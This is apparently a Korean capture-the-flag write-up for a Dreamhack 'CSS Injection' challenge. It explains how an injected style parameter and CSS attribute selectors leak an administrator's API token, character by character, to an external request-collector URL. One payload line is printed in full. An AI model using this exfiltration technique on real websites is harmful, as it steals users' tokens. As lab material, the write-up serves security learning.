LEVEL 3: CSS Injection

CSS로 요소를 지정하여 해당 value에 내가 쿼리한 값과 일치한다면 지정한 URL로 GET 요청을 보내어 한 글자 씩 추출해내어 해결했다.

아래의 사진들은 이번 문제를 해결하기 위한 핵심 코드다. color에 입력받은 값으로 style을 변경할 수가 있는데, 이때 입력받은 값을 사용자가 GET 메서드로 직접 입력이 가능하고, 해당 기능은 모든 페이지의 헤더에 해당하므로 어느 페이지에서든 style에 코드를 삽입할 수 있다.

base.html
main.py

/mypage에는 사용자의 API Token을 출력하고 있고, /report 페이지에서 관리자에게 문제가 있는 페이지를 보고 할 수 있으므로, GET 요청으로 API Token의 값을 하나씩 대조하여 관리자 계정의 API Token을 추출할 수 있다.

우선 /mypage에서 테스트를 한다. 기본적으로 color에는 white가 디폴트 값이므로 배경색이 white가 된다. 하지만 해당 값을 GET 메서드로 변경이 가능하니 이를 black으로 시도해보면 배경색이 변경된다.


이제 API Token이 쿼리한 값과 비교하여 True인지 비교해야 한다. 하지만 관리자의 경우 나와 같은 공격자의 화면에서는 브라우저의 style이 변경되는 것을 확인할 수 없으므로 CSS 가젯의 “background: url(URL)”을 이용하여 요청을 보낼 것이다. 내가 쿼리한 값이 True이면 내가 지정한 URL로 요청을 보내므로 요청이 입력으로 들어온 것이 확인된다면 해당 쿼리는 True인 것이다.

우선 페이로드가 맞는지 확인하기 위해 내 화면의 정보를 쿼리해서 요청이 정상적으로 발생하는지 확인한다. 아래의 코드는 input 태그의 id가 InputApitoken이고 value가 bm으로 시작하면 배경색을 https://gbxgalu.request.dreamhack.games에서 불러오는 코드이다. API Token이 bm으로 시작하기 때문에 해당 URL로 요청을 보낸 것이다.

/mypage?color=white; } input[id=InputApitoken][value^=bm] { background: url(https://gbxgalu.request.dreamhack.games)


위와 같은 방법으로 /report 페이지에서 페이로드를 삽입하면 administrator는 /mypage에서 API Token을 비교하여 해당 URL에 요청을 보낼 것이다. 이렇게 한 글자 씩 추출해 나가면 된다. 아래는 내가 성공했던 페이로드다.


이렇게 추출한 API Token은 curl 명령으로 헤더에 API-KEY을 지정하여 요청을 보내면 응답을 받을 수 있다.


플래그는 /api/memo에 관리자의 토큰으로 저장되어 있다.


관리자의 API Token과 어디에 사용해야 하는지도 알았으니 curl로 플래그를 요청한다. -H 옵션으로 헤더를 지정해서 보낼 수 있다.

Published by